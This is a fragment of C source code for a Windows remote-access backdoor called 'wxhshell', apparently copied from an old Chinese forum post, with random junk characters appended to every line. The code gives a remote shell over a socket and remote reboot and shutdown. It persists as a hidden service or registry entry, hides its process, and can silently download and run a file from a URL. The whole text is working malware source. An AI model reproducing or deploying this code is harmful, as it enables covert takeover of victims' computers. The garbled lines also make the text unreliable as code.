  // 帮助 FOnA;5Aa  
  case '?': { 2 DNzC7}e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HBf8!\0|/  
    break; ]bU'G$Qm&s  
  } x) qHeS  
  // 安装 \5pAG mgD  
  case 'i': { iJj?~\zp  
    if(Install()) i(cb&;Xx:A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V;+$/>J`vB  
    else GyXs{*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tk|;5^#H  
    break; .)pRB7O3  
    } lIc9, |FL  
  // 卸载 %Fm;LQa ]  
  case 'r': { r+.4|u  
    if(Uninstall()) x%?*]*W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,8-_=*  
    else $6x:aG*F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p'c<v)ia  
    break; qYiK bzy  
    } PC(iqL8r  
  // 显示 wxhshell 所在路径 7(+ZfY~w"  
  case 'p': { t=\[J+  
    char svExeFile[MAX_PATH]; b)`#^uxxJ  
    strcpy(svExeFile,"\n\r"); 8&[<pbN)  
      strcat(svExeFile,ExeFile); 1^"aR#  
        send(wsh,svExeFile,strlen(svExeFile),0); WuQ<AS=   
    break; #1hz=~YO  
    } .AI'L|FQ%c  
  // 重启 [^BUhm3a  
  case 'b': { N~<}\0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); la{:RlW  
    if(Boot(REBOOT)) oZcwbo8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d`][1rZk  
    else { &Or=_5Y`  
    closesocket(wsh);  G#n)|p  
    ExitThread(0); 5z mHb  
    } c]v3dHE_h  
    break; }Z$G=;3#  
    } NX #d}M^V  
  // 关机 8!`.%)- 4  
  case 'd': { adPU)k_j:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lj* =*V  
    if(Boot(SHUTDOWN)) !!X9mI|2|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6f9<&dCK  
    else { Y52xrIvl\  
    closesocket(wsh); @X><lz  
    ExitThread(0); 34M.xB   
    } csA.3|rv  
    break; tnbs]6  
    } +dpj?  
  // 获取shell ^dKaa  
  case 's': { 6e-h;ylS  
    CmdShell(wsh); '# 2J?f'  
    closesocket(wsh); 4 J2F>m40  
    ExitThread(0); GoA>sK  
    break; T@.m^|~  
  } t>u9NZt G  
  // 退出 Z8 n%=(He  
  case 'x': { ;mKU>F<V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Im1qWe  
    CloseIt(wsh); L*oL KigT  
    break; I{ZPv"9j^  
    } Zd/~ *ZA  
  // 离开 &Zy=vk*  
  case 'q': { ;4#8#;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k3h53QTmC  
    closesocket(wsh); &{{f|o=u.  
    WSACleanup(); eZkz 1j~  
    exit(1); TUYl><F5v=  
    break; Jl9TMu!1]  
        } _rh.z_a7w  
  } BCB/cBE  
  } <a}|G1 h  
`mTxtuid{  
  // 提示信息 `l#$l3v+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QHz76i!=>  
} p<['FRf"  
  } !+ hgKZ]  
vXZz=E AH  
  return; Z"KuS  
} MpvA--  
U4pvQE.m<  
// shell模块句柄 < l ^ Z;.  
int CmdShell(SOCKET sock) lq9h Dn[p  
{ }H^^v[4  
STARTUPINFO si; ^K[tO54  
ZeroMemory(&si,sizeof(si)); q)i(wEdUZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YAG3PWmD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ADUI@#vk  
PROCESS_INFORMATION ProcessInfo; ")buDU6_  
char cmdline[]="cmd"; <4bo7XH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .]l2)OlLQ  
  return 0; Ci:QIsu*  
} D4-U[l+K>  
-iX!F~qS,  
// 自身启动模式 L,GtIZkE  
int StartFromService(void) H;L&G|[  
{ }=4".V`-o  
typedef struct \{mJO>x  
{ &<b7T$c  
  DWORD ExitStatus; f|E'eFrFk  
  DWORD PebBaseAddress; 0~+:~$VrT  
  DWORD AffinityMask; tC~itU=V  
  DWORD BasePriority; 0R%58,R  
  ULONG UniqueProcessId; x"T^>Q  
  ULONG InheritedFromUniqueProcessId; ?OdA`!wE  
}   PROCESS_BASIC_INFORMATION; \Nyxi7  
l'f!za0  
PROCNTQSIP NtQueryInformationProcess; !+l, m8Hly  
TC}u[kM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xq*yZ5:5Jo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B 1.@K}  
Ww4G  
  HANDLE             hProcess; O, 6!`\ND  
  PROCESS_BASIC_INFORMATION pbi; OaWq8MIZ-  
KrzM]x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ( mMz]b5  
  if(NULL == hInst ) return 0; |g+5rVbd  
F9hWB17u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j(2T,WM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :]jtV~E\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g"f^YEQ_  
o`0H(\en  
  if (!NtQueryInformationProcess) return 0; =Ji:nEl]z  
dj]N59<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @ U|u _S@  
  if(!hProcess) return 0; PS1~6f"D  
Yw `VL)v(y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $sJfxh r  
?K#$81;[  
  CloseHandle(hProcess); w5\)di  
s:H1v&t,<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I78pul8!  
if(hProcess==NULL) return 0; \[jItg,+  
v$Z1Lh  
HMODULE hMod; cxdM!L; `  
char procName[255]; (5 hu W7v  
unsigned long cbNeeded; XPKcF I=  
( PlNaasV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `6su_8Hno  
sJ=B:3jS0  
  CloseHandle(hProcess); {D< ?.'  
wl9icrR>  
if(strstr(procName,"services")) return 1; // 以服务启动 " Xc=<rX  
Bw[VK7  
  return 0; // 注册表启动 r>o6}Mx$  
} Vo[4\h#$  
 v<W++X7z  
// 主模块 ;<H2N0qJ(  
int StartWxhshell(LPSTR lpCmdLine) /.bwwj_;  
{ J$[Vm%56  
  SOCKET wsl; Sa5y7   
BOOL val=TRUE; -`&;3 7  
  int port=0; i YkNtqn/  
  struct sockaddr_in door; ^` THV  
cyyFIJj]  
  if(wscfg.ws_autoins) Install(); [E1I?hfJ  
g^FH[(P[G  
port=atoi(lpCmdLine); 2t<CAKBB  
)1le-SC  
if(port<=0) port=wscfg.ws_port; j*}xe'#  
Pip if.  
  WSADATA data; <LY+" Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /FY_LM  
00+5a TrE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k$c!J'qL&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tTal<4  
  door.sin_family = AF_INET; uDR(^T{g#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X,~C&#  
  door.sin_port = htons(port); Xo b##{P3  
PX] v"xf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A:(uK>5{Kk  
closesocket(wsl); *v&RGY[>  
return 1; X +R_TC  
} =UN:IzT  
f{0PLFj  
  if(listen(wsl,2) == INVALID_SOCKET) { [PT}!X7h  
closesocket(wsl); gqd#rjtfz  
return 1; vSh)r 9  
} 4j5plm=  
  Wxhshell(wsl); D@e:Fu1\R  
  WSACleanup(); KC'{>rt7  
ND*5pRzvp  
return 0; %0QYkHdFR`  
IV76#jL  
} #%~wuCn<K  
u}$3.]-.?T  
// 以NT服务方式启动 kmwFw>#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~Q5HM  
{ Wp $\>  
DWORD   status = 0; *&s_u)b  
  DWORD   specificError = 0xfffffff; FsjblB3?E  
G8VWx&RE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !WN r09`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }tN"C 3)@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Flsf5 Tr0  
  serviceStatus.dwWin32ExitCode     = 0; HXX"B,N  
  serviceStatus.dwServiceSpecificExitCode = 0; TD<.:ul]  
  serviceStatus.dwCheckPoint       = 0; 3 }XS| Y  
  serviceStatus.dwWaitHint       = 0; t V</ x0#  
}I"^WCyH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (Q&Z/Fe  
  if (hServiceStatusHandle==0) return; kq+L63fZ  
HUH=Y;  
status = GetLastError(); ;IyQqP#,<  
  if (status!=NO_ERROR) wXe.zLQ  
{ CKK8 o9W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y&nY]VV  
    serviceStatus.dwCheckPoint       = 0; :|bPr_&U$  
    serviceStatus.dwWaitHint       = 0; {>#Ya;E  
    serviceStatus.dwWin32ExitCode     = status; *:iFhKFU  
    serviceStatus.dwServiceSpecificExitCode = specificError; JdE=!~\8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R/=yS7@{)  
    return; zrcSPh  
  } 9"[#\TW9Vb  
hq|/XBd||  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I?gbu@o  
  serviceStatus.dwCheckPoint       = 0; 09r.0Ks  
  serviceStatus.dwWaitHint       = 0; M%m$ 5[;n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &12.|  
} OvkYzI`  
yfj<P/aA+  
// 处理NT服务事件,比如:启动、停止 d4/ZOj+%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #-{4F?DA]y  
{ b$hQB090  
switch(fdwControl) tlE+G@|^  
{ !"Kg b;A  
case SERVICE_CONTROL_STOP: i -+B{H  
  serviceStatus.dwWin32ExitCode = 0; HQ"D>hsuU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *&7Av7S  
  serviceStatus.dwCheckPoint   = 0; @<_4Nb  
  serviceStatus.dwWaitHint     = 0; b?z8Yp6  
  { LaRY#9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8D-g%Aj-  
  } =73wngw  
  return; uXXwMc<p  
case SERVICE_CONTROL_PAUSE: N7XRk= J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y%2<}3P  
  break; E$gcd#rT  
case SERVICE_CONTROL_CONTINUE: (fC [Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q!c*2hI  
  break; h-V5&em"_  
case SERVICE_CONTROL_INTERROGATE: I<DS07K  
  break; ws@;2?%A  
}; "!2Fy-Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \\_Qv  
} $%LjIeVA5  
X=lOwPvP  
// 标准应用程序主函数 |VIBSty2d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k z<We/  
{ VgOj#Z?K  
ds`a6>746  
// 获取操作系统版本 bV}43zI.  
OsIsNt=GetOsVer(); vI4St;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t ;(kSg.  
wJip{  
  // 从命令行安装 {{j?3O//  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wcbb3N$+  
+PjH2  
  // 下载执行文件 vV8}>  
if(wscfg.ws_downexe) { 7^=O^!sa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0EOpK%{  
  WinExec(wscfg.ws_filenam,SW_HIDE); bPWIf*3#  
} |+%K89W  
0]&~ddL  
if(!OsIsNt) { $w{#o E  
// 如果时win9x,隐藏进程并且设置为注册表启动 fDf:Jec`[  
HideProc(); ~u3E+w  
StartWxhshell(lpCmdLine); Ao2t=vg  
} HKV]Rn  
else lCDXFy(E  
  if(StartFromService()) u9J;OsnHK  
  // 以服务方式启动 F4@``20|  
  StartServiceCtrlDispatcher(DispatchTable); WI ' ;e4  
else Y6f0 ?lB  
  // 普通方式启动 ):1NeJOFF  
  StartWxhshell(lpCmdLine); K_(o D O  
sJ,:[  
return 0; .xS}/^8iD  
}
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只看该作者 1 发表于: 2006-10-10
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